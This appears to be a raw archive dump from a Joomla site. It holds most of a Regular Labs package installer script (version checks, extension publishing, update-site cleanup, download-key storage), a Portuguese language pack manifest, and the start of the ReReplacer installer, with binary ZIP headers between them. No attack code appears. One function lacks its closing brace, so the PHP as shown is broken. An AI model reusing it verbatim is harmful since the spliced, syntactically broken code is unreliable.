                ],
                [
                    '<pre class="border bg-light-subtle p-2" style="' . $code_styling . '">',
                    '<span class="' . $badge_classes['success'] . '">FREE</span>',
                    '<span class="' . $badge_classes['info'] . '">PRO</span>',
                ],
                $changelog
            );

$changelog = preg_replace(
                '#\[J([1-9][\.0-9]*)\]#',
                '<span class="' . $badge_classes['default'] . '">J\1</span>',
                $changelog
            );

$msg = self::getInstallationLanguageString();

$title1 = JText::sprintf(
                $msg,
                '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>',
                '<strong>' . static::$current_version . '</strong>'
            );

$title2 = JText::_('PKG_RL_LATEST_CHANGES');

if (
                static::$previous_version
                && version_compare(static::$previous_version, static::$current_version, '<')
            )
            {
                $title2 = JText::sprintf('PKG_RL_LATEST_CHANGES_SINCE', $previous_version_simple);

$previous_version_major = (int) static::$previous_version;
                $current_version_major  = (int) static::$current_version;
                if (version_compare($previous_version_major, $current_version_major, '<'))
                {
                    JFactory::getApplication()->enqueueMessage(JText::sprintf(
                        'PKG_RL_MAJOR_UPGRADE',
                        '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>'
                    ), 'warning');
                }
            }

if (strpos(static::$current_version, 'dev') !== false)
            {
                $note = '';
            }

return '<h3>' . $title1 . '</h3>'
                . '<h4>' . $title2 . '</h4>'
                . ($note ? '<div class="alert alert-warning">' . $note . '</div>' : '')
                . $changelog;
        }

private static function getExtensions()
        {
            if ( ! empty(static::$extensions))
            {
                return static::$extensions;
            }

$manifest = self::getNewManifest();
            $xml      = $manifest->asXML();

self::removeDependanciesFromString($xml);

$file = __DIR__ . '/pkg_' . static::$package_name . '.xml';

file_put_contents($file, $xml);

$package_manifest = new JPackageManifest($file);

static::$extensions = $package_manifest->filelist;

return static::$extensions;
        }

private static function getFilesString($xml)
        {
            $tag = 'files_j' . self::getJoomlaVersion();

$string = self::getTagStringFromXml($xml, $tag, 'files');

static::$file_string = $string;

if (empty($string))
            {
                return '';
            }

self::removeDependanciesIfOlder($string);

return $string;
        }

private static function removeDependanciesFromString(&$string)
        {
            foreach (static::$dependancies as $dependancy)
            {
                self::removePackageFilesFromString($string, $dependancy);
            }
        }

private static function removeDependanciesIfOlder(&$string)
        {
            foreach (static::$dependancies as $dependancy)
            {
                self::removeDependancyIfOlder($string, $dependancy);
            }
        }

private static function removeDependancyIfOlder(&$string, $dependancy)
        {
            if ( ! self::shouldUpdateDependancy($dependancy))
            {
                self::removePackageFilesFromString($string, $dependancy);
            }
        }

private static function getFirstExtension()
        {
            $extensions = self::getExtensions();

return reset($extensions);
        }

private static function getInstallationLanguageString()
        {
            if ( ! static::$previous_version)
            {
                return 'PKG_RL_EXTENSION_INSTALLED';
            }

if (static::$previous_version == static::$current_version)
            {
                return 'PKG_RL_EXTENSION_REINSTALLED';
            }

return 'PKG_RL_EXTENSION_UPDATED';
        }

private static function getJoomlaVersion()
        {
            return match ((int) JVERSION) {
                4, 5, 6 => 4,
                default => (int) JVERSION,
            };
        }

private static function getPackageId($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;
            $db           = JFactory::getDbo();

$query = $db->getQuery(true)
                ->select('extension_id')
                ->from('#__extensions')
                ->where($db->quoteName('element') . ' = ' . $db->quote('pkg_' . $package_name));
            $db->setQuery($query);

return $db->loadResult();
        }

private static function getMainXmlFile($package_name = '', $include_pkg = true)
        {
            $package_name = $package_name ?: static::$package_name;

$file_paths = [
                self::getManifestFilePathPackage($package_name),
                self::getManifestFilePathLibrary($package_name),
                self::getManifestFilePathComponent($package_name),
                self::getManifestFilePathSystemPlugin($package_name),
                self::getManifestFilePathFieldsPlugin($package_name),
                self::getManifestFilePathModule($package_name),
            ];

if ( ! $include_pkg)
            {
                unset($file_paths[0]);
            }

foreach ($file_paths as $file_path)
            {
                if (file_exists($file_path))
                {
                    return $file_path;
                }
            }

return '';
        }

private static function getManifestWithoutDependancies()
        {
            $manifest = static::$adapter->getManifest();

$xml = $manifest->asXML();
            self::removeDependanciesFromString($xml);

return simplexml_load_string($xml);
        }

private static function getModulePositionFromXMLString($xml, $id)
        {
            preg_match('#position="([^"]+)"[^>]* id="' . $id . '"#', $xml, $match);

return isset($match['1']) ? $match['1'] : '';
        }

private static function getNewManifest()
        {
            if ( ! is_null(static::$new_manifest))
            {
                return static::$new_manifest;
            }

$manifest = static::$adapter->getManifest();

$xml = $manifest->asXML();

$files = self::getFilesString($xml);
            $xml   = preg_replace('#<files .*?</files>#s', $files, $xml);
            $xml   = preg_replace('#<(files_j[3-4]).*?</\1>#s', '', $xml);

static::$new_manifest = simplexml_load_string($xml);

return static::$new_manifest;
        }

private static function getManifestFilePathPackage($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

return JPATH_MANIFESTS . '/packages/pkg_' . $package_name . '.xml';
        }

private static function getManifestFilePathLibrary($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

return JPATH_LIBRARIES . '/' . $package_name . '/' . $package_name . '.xml';
        }

private static function getManifestFilePathComponent($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

return JPATH_ADMINISTRATOR . '/components/com_' . $package_name . '/com_' . $package_name . '.xml';
        }

private static function getManifestFilePathModule($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

return JPATH_SITE . '/modules/mod_' . $package_name . '/mod_' . $package_name . '.xml';
        }

private static function getManifestFilePathFieldsPlugin($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

return JPATH_PLUGINS . '/fields/' . $package_name . '/' . $package_name . '.xml';
        }

private static function getManifestFilePathSystemPlugin($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

return JPATH_PLUGINS . '/system/' . $package_name . '/' . $package_name . '.xml';
        }

private static function getVersionFromManifest($manifest_file)
        {
            if ( ! $manifest_file || ! file_exists($manifest_file))
            {
                return '';
            }

$manifest = new JPackageManifest($manifest_file);

return isset($manifest->version) ? trim($manifest->version) : '';
        }

private static function getCurrentVersion($package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

$joomla_version = self::getJoomlaVersion();
            $manifest_file  = __DIR__ . '/packages/j' . $joomla_version . '/pkg_' . $package_name . '/pkg_' . $package_name . '.xml';

return self::getVersionFromManifest($manifest_file);
        }

private static function getPreviousVersion($package_name = '')
        {
            $package_name  = $package_name ?: static::$package_name;
            $manifest_file = self::getMainXmlFile($package_name);

return self::getVersionFromManifest($manifest_file);
        }

private static function getPreviousJoomlaVersion($package_name = '')
        {
            $package_name  = $package_name ?: static::$package_name;
            $manifest_file = self::getMainXmlFile($package_name, false);

if ( ! $manifest_file || ! file_exists($manifest_file))
            {
                return '';
            }

$xml = simplexml_load_file($manifest_file);

if ( ! $xml)
            {
                return '';
            }

return (int) $xml->attributes()->version;
        }

private static function getTagStringFromXml($xml, $from_tag, $to_tag)
        {
            $found = preg_match('#<' . $from_tag . '.*?</' . $from_tag . '>#s', $xml, $match);

if ( ! $found)
            {
                return '';
            }

return str_replace($from_tag, $to_tag, $match[0]);
        }

private static function hasFilesForJoomlaVersion($joomla_version)
        {
            $manifest = static::$adapter->getManifest();

return count($manifest->{'files_j' . $joomla_version}->children());
        }

private static function passFreeOverProCheck()
        {

// The pro version is installed.
            if (strpos(static::$previous_version, 'PRO') !== false)
            {
                JFactory::getApplication()->enqueueMessage(JText::_('PKG_RL_ERROR_PRO_TO_FREE'), 'error');

JFactory::getApplication()->enqueueMessage(
                    html_entity_decode(
                        JText::sprintf(
                            'PKG_RL_ERROR_UNINSTALL_FIRST',
                            '<a href="https://regularlabs.com/' . static::$package_name . '" target="_blank">',
                            '</a>',
                            '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>'
                        )
                    ), 'error'
                );

return false;
            }

return true;
        }

private static function passJoomlaVersion()
        {
            $joomla_version = self::getJoomlaVersion();

if ( ! self::hasFilesForJoomlaVersion($joomla_version))
            {
                JFactory::getApplication()->enqueueMessage(
                    JText::sprintf(
                        'PKG_RL_NOT_COMPATIBLE_JOOMLA',
                        '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>',
                        '<strong>' . JVERSION . '</strong>'
                    ),
                    'error'
                );

return false;
            }

$min_joomla_version = static::$min_joomla_version[$joomla_version];

if (version_compare(JVERSION, $min_joomla_version, '<'))
            {
                JFactory::getApplication()->enqueueMessage(
                    JText::sprintf(
                        'PKG_RL_NOT_COMPATIBLE_UPDATE',
                        '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>',
                        '<strong>' . JVERSION . '</strong>',
                        '<strong>' . $min_joomla_version . '</strong>'
                    ),
                    'error'
                );

return false;
            }

return true;
        }

private static function passMinimumPHPVersion()
        {
            $joomla_version  = self::getJoomlaVersion();
            $min_php_version = static::$min_php_version[$joomla_version];

if (version_compare(PHP_VERSION, $min_php_version, '<'))
            {
                JFactory::getApplication()->enqueueMessage(
                    JText::sprintf(
                        'PKG_RL_NOT_COMPATIBLE_PHP',
                        '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>',
                        '<strong>' . PHP_VERSION . '</strong>',
                        '<strong>' . $min_php_version . '</strong>'
                    ),
                    'error'
                );

return false;
            }

return true;
        }

/**
         * Enable an extension
         *
         * @param string  $type   The extension type.
         * @param string  $name   The name of the extension (the element field).
         * @param string  $plugin_folder
         * @param string  $module_position
         * @param integer $client The application id (0: Joomla CMS site; 1: Joomla CMS administrator).
         * @param bool    $force
         */
        private static function publishExtension(
            $type,
            $name,
            $plugin_folder = 'system',
            $client_id = 0,
            $force = false
        )
        {
            switch ($type)
            {
                case 'component' :
                    self::publishComponent($name, $client_id);
                    break;

case 'module' :
                    $manifest = self::getNewManifest();
                    $xml      = $manifest->asXML();
                    $module_position = self::getModulePositionFromXMLString($xml, $name);

self::publishModule($name, $module_position, $client_id, $force);
                    break;

case 'plugin' :
                    self::publishPlugin($name, $plugin_folder);
                    break;

default:
                    break;
            }
        }

private static function publishExtensions($install_type)
        {
            $extensions = self::getExtensions();

$joomla_version = self::getJoomlaVersion();

foreach ($extensions as $extension)
            {
                $is_admin_module = $extension->client == 'administrator' && $extension->type == 'module';

$force = $joomla_version > static::$previous_joomla_version
                    || $is_admin_module
                    || $extension->id == 'regularlabs';

if ($install_type == 'update' && ! $force)
                {
                    continue;
                }

self::publishExtension(
                    $extension->type,
                    $extension->id,
                    isset($extension->group) ? $extension->group : 'system',
                    $extension->client === 'site' ? 0 : 1,
                    $is_admin_module
                );
            }
        }

private static function publishModule(
            $name,
            $module_position = 'status',
            $client_id = 0,
            $force = false
        )
        {
            $db = JFactory::getDbo();

// Get module id
            $query = $db->getQuery(true)
                ->select($db->quoteName('id'))
                ->select($db->quoteName('position'))
                ->from('#__modules')
                ->where($db->quoteName('module') . ' = ' . $db->quote($name))
                ->where($db->quoteName('client_id') . ' = ' . (int) $client_id);
            $db->setQuery($query, 0, 1);
            $module = $db->loadObject();

if (empty($module))
            {
                return;
            }

// check if module is already in the modules_menu table (meaning it is already saved)
            $query->clear()
                ->select($db->quoteName('moduleid'))
                ->from('#__modules_menu')
                ->where($db->quoteName('moduleid') . ' = ' . (int) $module->id)
                ->setLimit(1);
            $db->setQuery($query);
            $exists = $db->loadResult();

if ($exists && $force)
            {
                $query = $db->getQuery(true)
                    ->update('#__modules')
                    ->set('published = 1')
                    ->where($db->quoteName('id') . ' = ' . (int) $module->id);
                $db->setQuery($query);
                $db->execute();

return;
            }

if ($exists)
            {
                return;
            }

// Get highest ordering number in position
            $query->clear()
                ->select($db->quoteName('ordering'))
                ->from('#__modules')
                ->where($db->quoteName('position') . ' = ' . $db->quote($module_position))
                ->where($db->quoteName('client_id') . ' = ' . (int) $client_id)
                ->order('ordering DESC');
            $db->setQuery($query, 0, 1);
            $ordering = $db->loadResult();

$ordering++;

// publish module and set ordering number
            $query->clear()
                ->update('#__modules')
                ->set($db->quoteName('published') . ' = 1')
                ->set($db->quoteName('ordering') . ' = ' . (int) $ordering)
                ->set($db->quoteName('position') . ' = ' . $db->quote($module_position))
                ->where($db->quoteName('id') . ' = ' . (int) $module->id);
            $db->setQuery($query);
            $db->execute();

// add module to the modules_menu table
            $query->clear()
                ->insert('#__modules_menu')
                ->columns([$db->quoteName('moduleid'), $db->quoteName('menuid')])
                ->values((int) $module->id . ', 0');
            $db->setQuery($query);
            $db->execute();
        }

private static function publishPlugin($name, $plugin_folder)
        {
            $db = JFactory::getDbo();

$query = $db->getQuery(true)
                ->update('#__extensions')
                ->set($db->quoteName('enabled') . ' = 1')
                ->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
                ->where($db->quoteName('folder') . ' = ' . $db->quote($plugin_folder))
                ->where($db->quoteName('element') . ' = ' . $db->quote($name));
            $db->setQuery($query);
            $db->execute();
        }

private static function publishComponent($name, $client_id = 0, $force = false)
        {
            $db = JFactory::getDbo();

$query = $db->getQuery(true)
                ->update('#__extensions')
                ->set($db->quoteName('enabled') . ' = 1')
                ->where($db->quoteName('type') . ' = ' . $db->quote('component'))
                ->where($db->quoteName('element') . ' = ' . $db->quote($name))
                ->where($db->quoteName('client_id') . ' = ' . (int) $client_id);
            $db->setQuery($query);
            $db->execute();
        }

private static function removeDuplicateUpdateSite()
        {
            $db = JFactory::getDbo();
            // First check to see if there is a pro entry

$query = $db->getQuery(true)
                ->select($db->quoteName('update_site_id'))
                ->from('#__update_sites')
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%e=' . static::$package_name . '%'))
                ->where($db->quoteName('location') . ' NOT LIKE ' . $db->quote('%pro=1%'))
                ->setLimit(1);

$db->setQuery($query);
            $id = $db->loadResult();

// Otherwise just get the first match
            if ( ! $id)
            {
                $query->clear()
                    ->select($db->quoteName('update_site_id'))
                    ->from('#__update_sites')
                    ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'))
                    ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%e=' . static::$package_name . '%'));
                $db->setQuery($query, 0, 1);
                $id = $db->loadResult();

// Remove pro=1 from the found update site
                $query->clear()
                    ->update('#__update_sites')
                    ->set($db->quoteName('location')
                        . ' = replace(' . $db->quoteName('location') . ', ' . $db->quote('&pro=1') . ', ' . $db->quote('') . ')')
                    ->where($db->quoteName('update_site_id') . ' = ' . (int) $id);

$db->setQuery($query);
                $db->execute();
            }

if ( ! $id)
            {
                return;
            }

$query->clear()
                ->select($db->quoteName('update_site_id'))
                ->from('#__update_sites')
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%e=' . static::$package_name . '%'))
                ->where($db->quoteName('update_site_id') . ' != ' . $id);
            $db->setQuery($query);
            $ids = $db->loadColumn();

if (empty($ids))
            {
                return;
            }

$query->clear()
                ->delete('#__update_sites')
                ->where($db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
            $db->setQuery($query);
            $db->execute();

$query->clear()
                ->delete('#__update_sites_extensions')
                ->where($db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
            $db->setQuery($query);
            $db->execute();
        }

private static function removePackageFilesFromString(&$string, $package_name = '')
        {
            $package_name = $package_name ?: static::$package_name;

$string = preg_replace('#<file [^>]*id="' . $package_name . '">.*?</file>#s', '', $string);
        }

private static function removeOldUpdateSites()
        {
            $db = JFactory::getDbo();

$query = $db->getQuery(true)
                ->select($db->quoteName('update_site_id'))
                ->from('#__update_sites')
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%nonumber.nl%'));
            $db->setQuery($query);
            $ids = $db->loadColumn();

self::removeUpdateSitesByIds($ids);
        }

private static function removePackageId($id)
        {
            $db = JFactory::getDbo();

$query = $db->getQuery(true)
                ->update('#__extensions')
                ->set($db->quoteName('package_id') . ' = 0')
                ->where($db->quoteName('extension_id') . ' = ' . (int) $id);
            $db->setQuery($query);
            $db->execute();
        }

private static function removeUpdateSitesByIds($ids = [])
        {
            if (empty($ids))
            {
                return;
            }

$db = JFactory::getDbo();

$query = $db->getQuery(true)
                ->delete('#__update_sites')
                ->where($db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
            $db->setQuery($query);
            $db->execute();

private static function removeXXXUpdateSites()
        {
            $db    = JFactory::getDbo();
            $query = $db->getQuery(true)
                ->select($db->quoteName('update_site_id'))
                ->from('#__update_sites')
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%regularlabs.com/updates.xml?e=XXX%'));
            $db->setQuery($query);
            $ids = $db->loadColumn();

self::removeUpdateSitesByIds($ids);
        }

private static function reorderMessageQueue()
        {
            $old_messages    = JFactory::getApplication()->getMessageQueue(true);
            $library_version = self::getCurrentVersion('regularlabs');

$library_messages = [];

foreach ($old_messages as $message)
            {
                if (strpos($message['message'], $library_version) !== false)
                {
                    $library_messages[] = $message;
                    continue;
                }

JFactory::getApplication()->enqueueMessage($message['message'], $message['type']);
            }

foreach ($library_messages as $message)
            {
                JFactory::getApplication()->enqueueMessage($message['message'], $message['type']);
            }
        }

private static function saveDownloadKey($key)
        {
            $key = trim($key);

if ( ! $key)
            {
                return false;
            }

if ( ! preg_match('#^[a-zA-Z0-9]{8}[A-Z0-9]{8}$#', $key, $match))
            {
                return false;
            }

$db = JFactory::getDbo();
            // Add the key on all regularlabs.com urls
            $query = $db->getQuery(true)
                ->update('#__update_sites')
                ->set($db->quoteName('extra_query') . ' = ' . $db->quote('k=' . $key))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%&pro=%'));
            $db->setQuery($query);
            $db->execute();

return true;
        }

private static function setNewManifest()
        {
            $manifest = self::getNewManifest();
            static::$adapter->setManifest($manifest);
        }

private static function setPackageId($element, $id)
        {
            $db = JFactory::getDbo();

$query = $db->getQuery(true)
                ->update('#__extensions')
                ->set($db->quoteName('package_id') . ' = ' . (int) $id)
                ->where($db->quoteName('element') . ' = ' . $db->quote($element));
            $db->setQuery($query);
            $db->execute();
        }

private static function shouldUpdateDependancy($package_name)
        {
            $previous_version = self::getPreviousVersion($package_name);

if ( ! $previous_version)
            {
                return true;
            }

$current_version = self::getCurrentVersion($package_name);

if ( ! $current_version)
            {
                return true;
            }

return version_compare($previous_version, $current_version, '<=');
        }

private static function updateDownloadKey()
        {
            if (self::updateDownloadKeyFromDatabase())
            {
                return;
            }

self::updateDownloadKeyFromExtensionManager();
        }

private static function updateDownloadKeyFromDatabase()
        {
            $db    = JFactory::getDbo();
            $query = $db->getQuery(true)
                ->select('extra_query')
                ->from('#__update_sites')
                ->where($db->quoteName('extra_query') . ' LIKE ' . $db->quote('k=%'))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'));

$db->setQuery($query);

$key = $db->loadResult();

if ( ! $key)
            {
                return false;
            }

if ( ! preg_match('#k=([a-zA-Z0-9]{8}[A-Z0-9]{8})#si', $key, $match))
            {
                return false;
            }

return self::saveDownloadKey($match[1]);
        }

private static function updateDownloadKeyFromExtensionManager()
        {
            $db    = JFactory::getDbo();
            $query = $db->getQuery(true)
                ->select($db->quoteName('params'))
                ->from('#__extensions')
                ->where($db->quoteName('element') . ' = ' . $db->quote('com_regularlabsmanager'));
            $db->setQuery($query);
            $params = $db->loadResult();

if ( ! $params)
            {
                return false;
            }

$params = json_decode($params);

if ( ! isset($params->key))
            {
                return false;
            }

return self::saveDownloadKey($params->key);
        }

private static function updateHttptoHttpsInUpdateSites()
        {
            $db    = JFactory::getDbo();
            $query = $db->getQuery(true)
                ->update('#__update_sites')
                ->set($db->quoteName('location') . ' = REPLACE('
                    . $db->quoteName('location') . ', '
                    . $db->quote('http://') . ', '
                    . $db->quote('https://')
                    . ')')
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('http://download.regularlabs.com%'));
            $db->setQuery($query);
            $db->execute();
        }

private static function updateManifestFile()
        {
            $manifest = self::getManifestWithoutDependancies();

file_put_contents(self::getManifestFilePathPackage(), $manifest->asXML());
        }

private static function updateNamesInUpdateSites()
        {
            $db   = JFactory::getDbo();
            $name = JText::_(static::$name);

$query = $db->getQuery(true)
                ->update('#__update_sites')
                ->set($db->quoteName('name') . ' = ' . $db->quote($name))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'))
                ->where($db->quoteName('location') . ' LIKE ' . $db->quote('%e=' . static::$package_name . '%'));
            $db->setQuery($query);
            $db->execute();
        }

private static function updatePackageIds()
        {
            $lib_package_id = self::getPackageId('regularlabs');

self::setPackageId('regularlabs', $lib_package_id);
            self::removePackageId($lib_package_id);
        }

private static function updateUpdateSites()
        {
            self::removeOldUpdateSites();
            self::removeXXXUpdateSites();
            self::updateNamesInUpdateSites();
            self::updateHttptoHttpsInUpdateSites();
            self::removeDuplicateUpdateSite();
            self::updateDownloadKey();
        }
    }
}
PK{b�\?E��� manifests/packages/pkg_pt-PT.xmlnu&1i�<?xml version="1.0" encoding="UTF-8" ?>
<extension type="package" version="3.7" method="upgrade">
	<name>Portuguese (pt-PT) Language Pack</name>
	<packagename>pt-PT</packagename>
	<version>3.7.0.1</version>
	<creationDate>2017-04-26</creationDate>
	<author>Comunidade JoomlaPortugal</author>
	<authorEmail>comunidadejoomlapt@gmail.com</authorEmail>
	<authorUrl>www.joomlaportugal.org</authorUrl>
	<copyright>Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<url>https://github.com/joomla/joomla-cms</url>
	<packager>Joomla! Project</packager>
	<packagerurl>www.joomla.org</packagerurl>
	<description><![CDATA[<div style="text-align:left;">
 <h2>Idioma português de Portugal para Joomla 3</h2>
 <p>Este pacote de idioma é uma produção da <a href="http://www.joomlaportugal.org" target="_blank" title="Comunidade JoomlaPortugal">Comunidade JoomlaPortugal</a></p>
 <p>Colabore e corrija erros da tradução: <a href="https://crowdin.com/project/joomla-cms" target="_blank" title="Tradução via Crowdin">Tradução em linha - Sistema Crowdin</a></p>
 <p> </p>
 <h2>Joomla! full portuguese (Portugal) language pack</h2>
 <p>Please report bugs or issues at <a href="https://www.facebook.com/groups/joomlaPT/" target="_blank">Joomla Portugal Facebook group</a>.</p>
 <p>Translated by <a href="http://www.joomlapt.com" target="_blank" title="Comunidade JoomlaPortugal">JoomlaPortugal Community</a> using Crowdin system.</p>
</div>]]></description>
	<blockChildUninstall>true</blockChildUninstall>
	<files>
		<folder type="language" client="site" id="pt-PT">site_pt-PT</folder>
		<folder type="language" client="administrator" id="pt-PT">admin_pt-PT</folder>
	</files>
	<updateservers>
		<server type="collection" priority="1" name="Accredited Joomla! Translations">https://update.joomla.org/language/translationlist_3.xml</server>
	</updateservers>
</extension>
PK{b�\o9[�[�0manifests/packages/rereplacer/script.install.phpnu&1i�<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

if ( ! class_exists('pkg_rereplacerInstallerScript'))
{
    class pkg_rereplacerInstallerScript
    {
        static $adapter;
        static $current_version;
        static $extensions         = [];
        static $file_string;
        static $min_joomla_version = [3 => '3.9.0', 4 => '4.0'];
        static $min_php_version    = [3 => '7.4', 4 => '8.1'];
        static $name;
        static $new_manifest;
        static $package_name;
        static $previous_version;
        static $previous_joomla_version;
        static $dependancies       = [
            'regularlabs',
            'conditions',
        ];